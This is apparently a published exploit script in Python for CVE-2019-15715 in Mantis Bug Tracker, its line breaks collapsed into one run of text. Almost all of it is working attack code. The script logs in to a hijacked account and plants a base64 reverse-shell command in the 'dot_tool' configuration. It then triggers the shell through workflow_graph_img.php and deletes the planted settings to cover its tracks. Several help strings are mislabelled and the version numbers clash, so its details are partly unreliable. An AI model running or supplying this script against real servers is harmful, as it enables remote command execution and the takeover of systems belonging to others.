# Exploit Title: Mantis Bug Tracker 2.3.0 - Remote Code Execution (Unauthenticated) # Date: 2020-09-17 # Vulnerability Discovery: hyp3rlinx, permanull # Exploit Author: Nikolas Geiselman # Vendor Homepage: https://mantisbt.org/ # Software Link: https://mantisbt.org/download.php # Version: <=2.22.0 # CVE : CVE-2019-15715 # References: https://mantisbt.org/bugs/view.php?id=26091 import requests import urllib.parse from base64 import b64encode from re import split import argparse class exploit(): def __init__(self): self.s = requests.Session() parser = argparse.ArgumentParser(description="Executes an arbitrary command on a Mantis Bug Tracker server.") parser.add_argument("-rh", "--rhost", help="Single Confluence Server URL") parser.add_argument("-rp", "--rport", help="File containing list of IP addresses") parser.add_argument("-lh", "--lhost", help="Command to Execute") parser.add_argument("-lp", "--lport", help="Open an interactive shell on the specified URL") parser.add_argument("-u", "--username", help="Username to hijack") parser.add_argument("-p", "--password", help="New password after account hijack") parser.add_argument("-e", "--endpoint", help="Location of mantis in URL") parser.add_argument("-rs", "--reverse_shell", help="Base64 encoded reverse shell payload") args = parser.parse_args() self.rhost = args.rhost self.rport = args.rport self.lhost = args.lhost self.lport = args.lport self.verify_user_id = "1" # User id for the target account self.username = args.username # Username to hijack self.password = args.password # New password after account hijack self.endpoint = args.endpoint # Location of mantis in URL self.reverse_shell = f"echo {urllib.parse.quote_plus(args.reverse_shell)} | base64 -d | /bin/bash" self.headers = {'Content-Type':'application/x-www-form-urlencoded'} self.url = f"http://{self.rhost}:{self.rport}{self.endpoint}" def login(self): # Authenticate as the target user r = self.s.post(url=f"{self.url}/login.php",headers=self.headers,data=f"return=index.php&username={self.username}&password={self.password}&secure_session=on") if "login_page.php" not in r.url: print(f"Authenticated as {self.username}!") def create_config(self, option, value): # Navigates to /adm_config_report.php to retrieve the token url = f"{self.url}/adm_config_report.php" r = self.s.get(url=url, headers=self.headers) adm_config_set_token = r.text.split('name="adm_config_set_token" value=')[1].split('"')[1] # Retrieves the token to submit during the config creation if adm_config_set_token == None: print("Unable to retrieve the token.") exit() # Creates the config data = f"adm_config_set_token={adm_config_set_token}&user_id=0&original_user_id=0&project_id=0&original_project_id=0&config_option={option}&original_config_option=&type=0&value={urllib.parse.quote_plus(value)}&action=create&config_set=Create+Configuration+Option" url = f"{self.url}/adm_config_set.php" r = self.s.post(url=url, headers=self.headers, data=data) def exploit(self): # Navigates to /workflow_graph_img.php to trigger the reverse shell url = f"{self.url}/workflow_graph_img.php" print("Triggering reverse shell") try: r = self.s.get(url=url,headers=self.headers, timeout=3) if r.status_code == 200: print("Reverse shell triggered successfully.") except: print("Reverse shell failed to trigger.") def cleanup(self): # Delete the config settings that were created to send the reverse shell print("Cleaning up") cleaned_up = False CleanupHeaders = dict() CleanupHeaders.update({'Content-Type':'application/x-www-form-urlencoded'}) data = f"return=index.php&username={self.username}&password={self.password}&secure_session=on" url = f"{self.url}/login.php" r = self.s.post(url=url,headers=CleanupHeaders,data=data) ConfigsToCleanup = ['dot_tool','relationship_graph_enable'] for config in ConfigsToCleanup: # Get adm_config_delete_token url = f"{self.url}/adm_config_report.php" r = self.s.get(url=url, headers=self.headers) test = split('',r.text) # First element of the response list is garbage, delete it del test[0] cleanup_dict = dict() for i in range(len(test)): if config in test[i]: cleanup_dict.update({'config_option':config}) cleanup_dict.update({'adm_config_delete_token':test[i].split('name="adm_config_delete_token" value=')[1].split('"')[1]}) cleanup_dict.update({'user_id':test[i].split('name="user_id" value=')[1].split('"')[1]}) cleanup_dict.update({'project_id':test[i].split('name="project_id" value=')[1].split('"')[1]}) # Delete the config print("Deleting the " + config + " config.") url = f"{self.url}/adm_config_delete.php" data = f"adm_config_delete_token={cleanup_dict['adm_config_delete_token']}&user_id={cleanup_dict['user_id']}&project_id={cleanup_dict['project_id']}&config_option={cleanup_dict['config_option']}&_confirmed=1" r = self.s.post(url=url,headers=CleanupHeaders,data=data) #Confirm if actually cleaned up r = self.s.get(url=f"{self.url}/adm_config_report.php", headers=CleanupHeaders) if config in r.text: cleaned_up = False else: cleaned_up = True if cleaned_up == True: print("Successfully cleaned up") else: print("Unable to clean up configs") exploit=exploit() exploit.login() # As mentioned here: https://mantisbt.org/bugs/view.php?id=26091 # Step 1: Type "relationship_graph_enable" into Configuration Option with a value of 1 to enable the graphs. exploit.create_config(option="relationship_graph_enable",value="1") # Step 2: Type "dot_tool" into Configuration Option with a value of "touch /tmp/vulnerable;" exploit.create_config(option="dot_tool",value= exploit.reverse_shell + ';') # Step 3: Visit: /workflow_graph_img.php exploit.exploit() exploit.cleanup()